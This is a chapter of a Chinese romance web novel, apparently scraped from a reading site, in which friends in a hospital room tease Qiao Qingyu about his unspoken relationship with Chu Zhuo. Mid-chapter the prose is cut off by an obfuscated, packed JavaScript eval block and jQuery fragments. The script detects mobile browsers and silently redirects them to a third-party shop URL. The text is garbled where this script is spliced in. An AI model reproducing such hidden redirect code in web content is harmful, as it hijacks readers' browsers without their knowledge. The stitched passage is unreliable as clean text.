在病房里待了没多久,外面又有人进来了。
那人脚步很急,走动时却丝毫没有发出声音,但楚卓还是在他出现的一瞬间就察觉到什么一般回过了头,“蝮蛇啊,你也来看子穆?”
房间里的几人跟蝮蛇都颇有渊源,因此发现他到来时便陆续跟他打招呼,然而蝮蛇却有些心不在焉,点点头一次性回应了所有人,“嗯,今天我值班。”
他习惯性地在角落里找了个位置靠着,摆摆手让大家干自己的事不用理他,他非常擅长降低自己的存在感,如果不是当着他们的面走进来而是提前待在屋子里的话,或许大家真的不会发现他。
然而现在,他这浑身的低气压就比较明显了,楚卓没法无视他,干脆直接开口询问,“遇到什么事情了?需要帮忙吗?”
“嗯……”
蝮蛇思考了一下,然后突然抬起头,若有所思地看向楚卓,“没记错的话,你还欠我一个人情。”
楚卓被他一提醒就想了起来,眼神不由向乔清羽飘去,“啊,是有这么回事,所以你想让我做什么?”
“帮我值一天班。”
这俩人聊的内容听起来不像是别人能插嘴的,乔清羽便也没在意,但楚卓突然看他的这一眼让他觉得有些莫名。
不过楚卓只看了一眼,随后就收回了目光,他冲蝮蛇“啧”了一声,“我的人情你就浪费在值班这种事情上啊?”
蝮蛇耸耸肩,“不然呢,就帮你照顾了一晚上心肝还能请你帮多大忙?”
听他用词如此直白,楚卓顿时瞪大了眼睛,他几步冲到蝮蛇面前,将食指竖在唇前“嘘”了好几声。
“怎么,我说错什么了?你当时不就是这么跟我说……”
蝮蛇还没说完就被楚卓捂住了嘴,然后连拖带拽地带出了房间。
他们的声音远了,然而那短短几句话已经让乔清羽的心里重重一跳。
……什么叫“帮他照顾了一晚上心肝”?
梁子穆听了这话也觉得诧异,与此同时又有些好奇,“他说的那个心肝该不会是……”
“不知道。”
乔清羽接话很快,几乎就压着梁子穆的话音,说完后他自己都愣了一下,然后抿抿唇躲避梁子穆的目光。
梁子穆见状饶有兴致地端详着他。
这是害羞了?都进展到这一步了还会因为这样一个昵称而害羞吗……
正这么想着,乔清羽突然像是想明白了什么,他的眉头轻轻皱起,然后转回头有些纠结地看向梁子穆,“难道……子穆,我问你个问题。”
“嗯?你说。”
“当时我从你那出逃的时候,是你联系蝮蛇来接应我的对吗?”
梁子穆反应了一下才回忆起乔清羽说的是哪件事,他点点头,“对。”
“那……”乔清羽的手指不自觉地搓着衣角,“你有特意叮嘱蝮蛇照顾我吗?”
梁子穆顺着他的话继续回忆,然后非常肯定地摇头,“没有。”
“你确定吗?”
“确定啊。”梁子穆不假思索,“我当时自身都难保了,能找到机会给你们搭上线已经很不容易了,哪还顾得上说别的?”
于是乔清羽沉默了。
过了好一会儿,他又问,“那那个时候,楚卓他……”
他好像还想问什么,可说到一半又收回了自己的话,“算了,没什么。”
他没有说完,但梁子穆结合上下文大概猜出了具体情况,“哪个时候楚卓拜托蝮蛇照顾你了?他消息还真灵通啊,那么临时的行动都能第一时间知道吗……”
对啊,乔清羽顿时又反应过来了这一点。
如果不是特意关注过,他怎么可能那么及时地知道自己的动向?
乔清羽低头摸了摸自己的心口,感觉其下蔓延出一股难言的酸涩。
梁子穆看见他这个动作,顿时开始调侃,“感动了?嗐,那家伙平时风风火火的,也就在你这会变得这么贴心了。”
贴心吗?
乔清羽闻言牵了牵嘴角,语调喃喃,“是啊,很贴心,让人根本没理由拒绝他。”
他的手指紧了紧,内心陷入了极度的挣扎,结果却在这时听梁子穆道,“不,该拒绝的时候你还是得拒绝的。”
乔清羽的思绪顿时被打断,“嗯?”
“根据我的了解,那家伙很容易得寸进尺,你要是什么都依着他,他会做得越来越过分的。”
这句话乔清羽着实没有听懂,脸上露出了明显的困惑,梁子穆见他这样更是恨铁不成钢,他咬了咬牙,压低声音,“小乔,他昨晚是不是欺负你了?”
……欺负?
乔清羽迟疑且茫然地摇了摇头。
“不是,这还没有啊?”
梁子穆上下扫视着他,尤其在他的腿上多停留了一阵,“你现在连站起来都这么费劲了,还向着他说话呢?”
乔清羽这一刻福至心灵,终于听明白梁子穆在说什么了,他的耳根瞬间爆红,说话声音也变得磕绊了起来,“不不是、我们没有……!”
他摆着手面红耳赤地否认,梁子穆见状相当诧异,有一瞬间他甚至以为乔清羽是因为害羞而不好意思说出来,于是摸着下巴微微眯起眼,“没有?那你这是怎么回事?”
“我昨天……练舞……”
在梁子穆狐疑的眼神中,乔清羽的声音越来越小,最后他闭上眼,“总之真的没有,不是你想的那样。”
“嗯……好吧。”
看他的表情不像在说谎的样子,梁子穆最后还是相信了他的话,但他想了想,还是觉得不太放心,于是额外叮嘱了几句,“现在没有,以后万一有呢?总之你不能让他太放肆,你得拿出一家之主的威严来。”
这听起来对他们俩还是有些误解,乔清羽没敢抬头,用手背贴了贴自己的脸颊想要降温,同时也稍微挡了下自己的表情,“不,我们……不是那种关系。”
什么叫“不是那种关系”?
梁子穆顿了一下,某种猜测一闪而过,他的语气随即变得有些不可置信,“等等,难道你们还没有在一起吗?”
乔清羽的眼神顿时黯淡下来,沉默许久后,缓缓摇了摇头。
这下梁子穆是真的不理解了,“你俩这相处模式,你告诉我你们没有在一起?”
这太令人难以相信了。
“就是普通朋友的相处模式而已吧……”
乔清羽被他说得不太自在,他想为自己辩解几句,但马上就被梁子穆反驳了回来。
“我知道你喜欢他,现在看来他也喜欢你。”梁子穆如实阐述着自己了解到的一切,“他碰你你不躲,哪怕突破了安全距离你也没表现出不自在,他喂你吃东西你也不拒绝,你还帮他挑生活用品,跟他同居。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775326|203949||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
梁子穆呵呵一笑,“这是什么新概念的普通朋友?”
乔清羽被他说得哑口无言,好半天都没想出一个合理的解释。
“啧,楚卓那家伙也是,他干什么吃的?”梁子穆低声念叨着,“还以为他总算有点主动性了,结果动作这么慢吗……”
这句话更接近于自言自语,乔清羽没能听清,他还想着为自己辩解两句,“只是收留他几天而已,也算不上是同居吧?”
梁子穆眉头一挑,“「只是」收留?”
“他去昆阳没地方住,所以……”
“等一下,你能不能先告诉我,他为什么会去昆阳?”
乔清羽再次哑然。
本来梁子穆只是猜测,结果乔清羽这个表情直接验证了他的猜想,“好吧,明白了。所以是他死皮赖脸地想住进你家的?”
死皮赖脸……好像也算不上。
他犹豫的这一瞬就已经给了梁子穆答案,他顿时有些难以置信,“不是?那是你主动邀请的?”
乔清羽的语气迟疑,“那也不算吧……”
迎着梁子穆狐疑的目光,乔清羽抿了抿唇,“他一个人住外面不太安全,我就……”
这回梁子穆更觉得不可思议了。
“就他那个体格,摔一跤都算是虐待地板——他不安全?”
乔清羽闭上嘴,明白自己已经解释不清了。
两个人无言相对良久,最后梁子穆头疼地叹了口气。
“你俩可真是……”他揉了揉自己的眉心,“小乔,你到底怎么想的?”
乔清羽默了一瞬,随后别过脸,“实话说,我不知道。”
选秀时的他懵懂地喜欢着对方,那时的他觉得,只要楚卓能给他一点点回应,他就没什么遗憾了。
在团活动期间,他们失去了联系,他又想啊,如果能知道一点点他的消息,那也已经很满足了。
遇到危机的时候,他们终于相遇,楚卓如英雄一般出现在他眼前,将他从昏暗无光的地下室中救出。那时的他最为冲动,他甚至真的攥着对方的领口偷来一个吻……
随之而来的却是他“死”在自己面前的情景。
那或许是他这辈子最灰暗的时光,他想,什么喜欢不喜欢的,只要对方能好好的活着,那就已经是最大的幸运了。
可当楚卓真的重新出现在他面前,当他从湍急的河流中捞出自己、带着自己穿过一片片枪林弹雨时,乔清羽又怕了。
那一刻他无比真切地意识到——选择楚卓,就意味着选择了危险。
“小乔?”
见他迟迟没有反应,梁子穆又喊了他一声。
乔清羽扯着嘴角,从回忆中脱离出来。
“子穆,我觉得你刚才那句话说的不对。”
梁子穆一愣,“哪句?”
“他不安全。”
就在此时,楚卓从外面回来了,他正好听到乔清羽的最后一句话,“嗯?什么安不安全的,你们在聊什么呢?”
乔清羽看着他,突然笑了,像是在这一刻突然想通了什么。
“我说,你一个人住外面不太安全。”
楚卓想了想,恍然大悟般“啊”了一声,“对啊,外面不安全。”
他站到乔清羽身边,手臂搭上他的椅背,像是圈住了他的肩膀一般。
“你这里安全。”